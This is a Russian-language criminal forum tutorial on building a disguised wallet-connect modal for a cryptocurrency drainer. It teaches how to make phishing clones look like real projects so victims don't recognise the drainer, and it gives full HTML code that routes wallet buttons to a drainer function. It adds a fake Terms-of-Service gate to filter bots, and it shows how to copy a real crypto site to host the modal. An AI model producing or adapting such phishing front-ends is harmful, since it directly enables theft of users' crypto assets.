Делаем модалку для дрейнера и боремся с фейк коннектами

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
ПРЕДИСЛОВИЕ

Всем привет!

Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:

1) Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика

2) Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)

3) Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain

Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.

Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.

Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.

ПРОБЛЕМАТИКА

Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.

Итак, проблематика:

1) Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:​
  • Слив баланса на аккаунте оценщика. И в целом это даже не так страшно и неприятно (хотя 200 баксов есть 200 баксов), если бы не было пункта два.​
  • Невозможность оценить активы реальных клиентов (так как баланс закончился из-за бесконечных запросов ботов) и как следствие - потенциальные убытки и недополученная прибыль​
2) Вторая проблема - заезженность модалок. Как я уже сказал ранее - дефолтные модалки палятся. Так как продуктов на рынке не так много, через какое-то время юзеры уже знают, как выглядит модальное окно дрейнера (условно говоря детект по поведению) и не кликают, а сразу уходят с сайта. Этот момент мы тоже пофиксим.

Окей гугл, с проблематикой определились, пришло время поставить цель.

ЦЕЛЬ СТАТЬИ

Цели статьи мы поставим вот какие:

1) Научиться создавать и редактировать модальное окно для нашего дрейнера
2) Научиться менять его внешний вид (читай цветовую гамму)
3) При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
4) Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя

Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":
1) Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
2) Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения

Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.

ИНСТРУМЕНТАРИЙ

Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.

Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.

А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.

Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.

Поехали.

РЕШЕНИЕ ЗАДАЧИ

Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся

HTML: Скопировать в буфер обмена
<script src="https://cdn.tailwindcss.com"></script>

Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже
HTML: Скопировать в буфер обмена
Код:
<script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            clifford: '#da373d',
          }
        }
      }
    }
  </script>

Далее подключаем надстройку над тэилвиндом - DaisyUI. Зачем? Несмотря на то, что тэилвинд и так сам по себе достаточно простой, мы пойдем еще более лайтовым путем - подрубим дейзи, чтобы иметь возможность генерировать новые темы прямо на сайте и подключать их в пару кликов.

Добавляем нужный тег над нашим тегом импорта Tailwind CSS.

HTML: Скопировать в буфер обмена
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />

Для наглядности будем использовать минималистичный скелетон сайта. Вот такая вот страничка у нас есть на текущий момент. Ничего лишнего - просто подключили все необходимое и добавили приветственную строку
HTML: Скопировать в буфер обмена
Код:
<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            clifford: '#da373d',
          }
        }
      }
    }
  </script>
</head>
<body>
  <h1 class="text-3xl font-bold underline **text-clifford**">
    Hello world!
  </h1>
</body>
</html>

Вся прелесть тэилвинда заключается в том, что мы работаем с разметкой (в прямом смысле - размещаем элементы и говорим как мы хотим чтобы они выглядели). И получается сразу красиво, из коробки. Концепция возможно спорная, но реально очень сильно ускоряет процесс сборки фронта - за счет того, что в CSS мы больше не лезем, а работаем на уровне классов.

Ну и как будто бы это более естественный путь - не лезть каждый раз в цсс, когда нужно скруглить углы у какого-то элемента, а просто добавить этому элементу класс "скругленные углы".

Окей, с подготовительной частью закончили, все подключили, теперь начнем накидывать наши элементы. Для начала добавим кнопку, при нажатии на которую будет открываться модальное окно, а также обернем весь контент body в теги div и сделаем выравнивание по высоте и ширине и небольшие отступы (это никак не влияет на функционал и тем более не требуется в продакшн версии - просто так выглядит поприятнее и работать удобнее, когда кнопка по центру экрана):
HTML: Скопировать в буфер обмена
Код:
  <div class="flex h-screen">
    <div class="m-auto space-y-4">
      <h1 class="text-3xl font-bold underline **text-clifford**">
        Hello world!
      </h1>
      <button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>
    </div>
  </div>

Выглядит наша страница вот так:

Screenshot at 2023-10-05 20-10-27.png



Теперь добавим основное модальное окно, а если точнее - добавим заготовку для него. Используем тег dialog, сразу же добавляем адаптивность. Также добавим заголовок "Connect wallet", сделаем его жирным. Чуть ниже напишем призыв к подключению кошелька - "Select which wallet and which network you want to use to connect below".
HTML: Скопировать в буфер обмена
Код:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
  <div class="modal-box">
    <h3 class="font-bold text-lg">Connect wallet</h3>
    <p class="py-4">Select which wallet and which network you want to use to connect below</p>
  </div>
</dialog>

Пока модалка выглядит весьма по-нищенски, но мы это скоро исправим.

Хинт: если вы хотите настроить расстояние между элементами, вам на помощь придет медвежонок Паддингтон padding. Просто добавьте нужный класс (например py-4 задает расстояние сверху и снизу). А для выравнивания удобно использовать уже знакомые и привычные гриды и флексы.

Теперь пришло время добавить блоки с кошельками. Условимся что в нашем случае их будет четыре штуки:
1) Метамаск
2) Коинбейс
3) Бинанс воллет
4) Траст воллет

Естественно, это на ваш вкус и цвет, блоки можно добавлять/убирать, или вообще генерировать их программно в зависимости от ситуации.

Расположим их по две в столбец, соответственно накинем div с гридом из двух колонок и все будет отлично.

И внизу добавим кнопку для подключения по QR коду используя Wallet Connect (для всего остального и любителей мобильных кошельков).
HTML: Скопировать в буфер обмена
Код:
        <dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

            </div>
            <div>
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>

У нас получается вот такая заготовка, которая в целом уже более менее напоминает модальное окно реального проекта.

Добавим красивости каждому элементу, а именно:

1) Название кошелька
2) Краткое описание
3) Изображение

Тут в принципе все довольно тривиально, единственное на что хочу обратить внимание - класс object-contain, который сохраняет пропорции изображения при встраивании его в другие элементы (без него метамасковскую лису расплющит не по детски).

Немножко обмажем все флексами (для выравнивания по ширине) и результат уже радует.
HTML: Скопировать в буфер обмена
Код:
<div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>

Теперь немного пошаманим с кнопкой внизу - добавим нужный текст и растянем ее во всю ширину модального окна с помощью флекса.
HTML: Скопировать в буфер обмена
Код:
<div class="flex flex-col pt-8">
  <button class="btn btn-primary">
    Connect by QR-code
  </button>
</div>

И совсем для красивости сделаем еще две вещи. Во-первых, добавим в правый верхний угол кнопку закрытия (в виде традиционного крестика). Во-вторых, добавим небольшие отступы между нашими элементами с помощью уже знакомого паддинга (классы py-, pt- и pb- для отступов сверху и снизу, только сверху и только снизу соответственно).
HTML: Скопировать в буфер обмена
Код:
<form method="dialog">
  <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>

Вот такое модальное окно у нас получилось.

Screenshot at 2023-10-05 20-27-24.png



Самое важное - не забыть повесить на все кнопки инициализацию нашего дрейнера. Для этого к каждому тегу button добавим атрибут onclick и пропишем в нее, согласно нашей заранее составленной договоренности, вызов функции connectWallet и передадим для каждой кнопки свой аргумент (этот момент можем считать псевдокодом, потому что функция и ее параметры зависят исключительно от вашего дрейнера и могут отличаться в зависимости от реализации).

Итоговый код основного модального окна выглядит так:
HTML: Скопировать в буфер обмена
Код:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="connectWallet('metamask')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('coinbase')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('binance')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('trust')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>
            <div class="flex flex-col pt-8">
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>

А теперь совсем немного магии. Как возможно заметил вдумчивый и сразу практикующий читатель, все, что мы реализовали на текущий момент, можно было спокойно запилить на голом тэилвинде. Для чего же нам было подключать дейзи, спросите вы? И я отвечу коротко - ТЕМЫ.

Фишка первая - в Daisy UI из коробки встроено достаточно много тем. Это не просто стандартные светлая/темная, нам предлагают аж 29 штук на выбор. Смотреть тут (xttps://daisyui.com/docs/themes/). Не то чтобы какая-то прям суперфича, но для бородатых бэкэндеров, которые шатали этот ваш фронт и хотят чтобы сразу было красиво для новичков очень приятно и удобно.

Применить выбранную тему к нашему всплывающему окну (или отдельному элементу, или даже ко всей странице сразу) достаточно просто - нужно всего лишь добавить атрибут data-theme="название_темы_тут" в нужный тег. Я для этой цели просто обернул наш тег dialog в еще один div.

Вторая приколюха - генератор тем прямо на сайте, вот тут (xttps://daisyui.com/theme-generator/). Можно сгенерить случайную тему, пропатчить существующую и вообще настроить все как душе угодно, и сразу увидеть результат, а именно - как будет выглядеть тот или иной элемент.

Вот для примера наше модальное окно с темой dark и с темой lemonade. Вопрос изменения одного слова во всем файле. Удобно, не правда ли?

Screenshot at 2023-10-05 20-33-19.png



Окей, теперь займемся нашим премодальным окном. Сразу небольшое уточнение, его задача - сломать алгоритм ботов и уберечь нашу систему от фейковых авторизаций, а наш организм - от преждевременных дофаминовых всплесков. Поэтому тут у вас полная свобода творчества и полет мысли и фантазии. Можно сделать капчу, пользовательское соглашение, запросить почту, да хоть банальную галочку "я не робот".
Я в демонстрационных целях сделаю модалку с небольшим абзацем текста про пользовательское соглашение, линком на него и чекбоксом. После активации чекбокса, кнопка перехода Далее тоже будет активироваться и уже вызывать основное модальное окно

Точно так же, как и в первый раз, создаем заготовку модального окна. А если точнее, не создаем, а копируем уже готовое основное окно, удаляем оттуда все лишнее и вставляем прямо перед первым тегом dialog. Таким образом оба наших модальных окна будут "обернуты" в одну тему (что как бы логично, нам так и надо).
HTML: Скопировать в буфер обмена
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
       </div>
        </dialog>

Изменяем заголовок и добавляем ссылки на текст наших условий использования приложения/сервиса.
HTML: Скопировать в буфер обмена
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#">Privacy Policy</a> and
              fake <a href="#">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary">
                  Continue
              </button>
            </div>
          </div>
        </dialog>

Добавляем чек бокс и текст к нему. Немного пошаманим над ссылками (ничего сверхъестественного, просто добавим класс underline, чтобы было понятно, что они кликабельные).
HTML: Скопировать в буфер обмена
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
              fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox">
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>
            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled">
                  Continue
              </button>
            </div>
          </div>
        </dialog>

Навешиваем небольшую анонимную стрелочную функцию на кнопку Continue, которая закрывает текущее модальное окно, и соответственно открывает основное.
HTML: Скопировать в буфер обмена
Код:
            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
                onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
                Continue
              </button>
            </div>

Также пишем небольшое выражение, которое активирует кнопку перехода при отмеченном чекбоксе, и соответственно дизейблит ее, если чекбокс не стоит. Используем для этого атрибут onchange.
HTML: Скопировать в буфер обмена
Код:
            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox"
                  onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>

Осталось только поменять событие onclick на кнопке, чтобы она вызывала премодальное окно.

Итак, целиком наша страница выглядит вот так.
HTML: Скопировать в буфер обмена
Код:
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdn.jsdelivr.net/npm/daisyui@3.8.3/dist/full.css" rel="stylesheet" type="text/css" />
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      daisyui: {
        themes: true,
      },
    }
  </script>
</head>

<body>
  <div class="flex h-screen">
    <div class="m-auto space-y-4">
      <h1 class="text-3xl font-bold underline **text-clifford**">
        Hello world!
      </h1>

      <!-- DRAINER MODAL -->
      <button class="btn" onclick="my_pre_modal.showModal()">open modal</button>
      <div data-theme="dark">

        <dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
              fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox"
                  onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>
            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
                onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
                Continue
              </button>
            </div>
          </div>
        </dialog>

        <dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>
            <div class="flex flex-col pt-8">
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>
      </div>
    </div>
  </div>


</body>

</html>

Screenshot at 2023-10-05 20-49-59.png



И тут есть очень важный для работы и понимания момент - а как это перенести на настоящий сайт? Ну допустим мы где-то нашли/позаимствовали/разработали с нуля сайт, как вот это модальное окно на него перенести? Давайте разберем этот момент, тут тоже все достаточно просто.

КАК ПОДКЛЮЧИТЬ К САЙТУ

Для демонстрационных целей я возьму рандомный крипто сайт и покажу как прицепить к нему нашу модалку (xttps://sunflower-land.com)

Копируем сайт с помощью saveweb2zip (xttps://saveweb2zip.com/en). Этот момент расписывать не буду, все достаточно очевидно - вставили ссылку, нажали Скачать
View hidden content is available for registered users!
 
Сверху Снизу